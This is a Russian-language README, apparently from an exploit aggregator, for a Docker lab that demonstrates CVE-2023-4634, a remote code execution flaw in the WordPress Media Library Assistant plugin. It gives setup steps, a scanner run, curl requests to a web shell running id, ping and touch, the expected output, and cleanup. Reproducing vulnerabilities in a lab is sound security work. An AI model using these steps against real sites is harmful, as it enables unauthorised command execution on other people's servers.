Exploit for CVE-2023-4634

## https://sploitus.com/exploit?id=0D451219-1908-5185-A737-3348EC2FD1FE
# CVE-2023-4634 - Уязвимость RCE в WordPress плагине Media Library Assistant

### 1. Сборка и запуск среды
```bash
cd Stand
docker-compose up --build -d
```

### 2. Ожидание запуска сервисов (60 секунд)
```bash
sleep 60
curl -I http://localhost:8080
```

### 3. Запуск сканирования уязвимости
```bash
cd ../PoC/src
python3 scanner.py http://localhost:8080
```

### 4. Ручное тестирование RCE
```bash
# Тест команды id
curl "http://localhost:8080/rce_proof.php?cmd=id"

# Тест команды ping
curl "http://localhost:8080/rce_proof.php?cmd=ping+-c+2+127.0.0.1"

# Создание файла-доказательства
curl "http://localhost:8080/rce_proof.php?cmd=touch+/tmp/rce_proof"
```

## ✅ Ожидаемые результаты

### Вывод scanner.py:
```
[*] Scanning: http://localhost:8080
[+] WordPress is accessible
[+] Plugin found: v3.09
[+] Plugin is VULNERABLE!
[*] Testing RCE...
[+] id command executed
[+] ping command executed
[+] file_check command executed
[+] RCE CONFIRMED!
[+] Results saved to ../result.txt
```

### Содержимое result.txt:
```json
{
  "cve": "CVE-2023-4634",
  "target": "http://localhost:8080",
  "timestamp": "2025-12-21 13:49:19",
  "vulnerable": true,
  "findings": {
    "wordpress": true,
    "plugin_vulnerable": true,
    "rce_id": true,
    "rce_id_output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)",
    "rce_ping": true,
    "rce_file_check": true
  },
  "plugin_version": "3.09",
  "status": "VULNERABLE"
}
```

## 🔧 Технические характеристики

### Сеть:
- **WordPress:** `172.20.0.2:80` (доступно на `localhost:8080`)
- **База данных:** `172.20.0.3:3306`
- **Сеть:** `172.20.0.0/24`

### Требования:
- **CVE:** CVE-2023-4634
- **Уязвимый компонент:** Плагин Media Library Assistant < 3.10
- **Тип уязвимости:** Удаленное выполнение кода (RCE)
- **Требования к системе:** Docker, Python 3.7+

## 📊 Доказательство RCE
- ✅ Выполнение команды `id` через HTTP
- ✅ Выполнение команды `ping` через HTTP
- ✅ Создание файлов в `/tmp/`
- ✅ Подтверждение прав `www-data`
- ✅ Результаты документированы в `result.txt`

## 🧹 Очистка
```bash
cd Stand
docker-compose down -v
```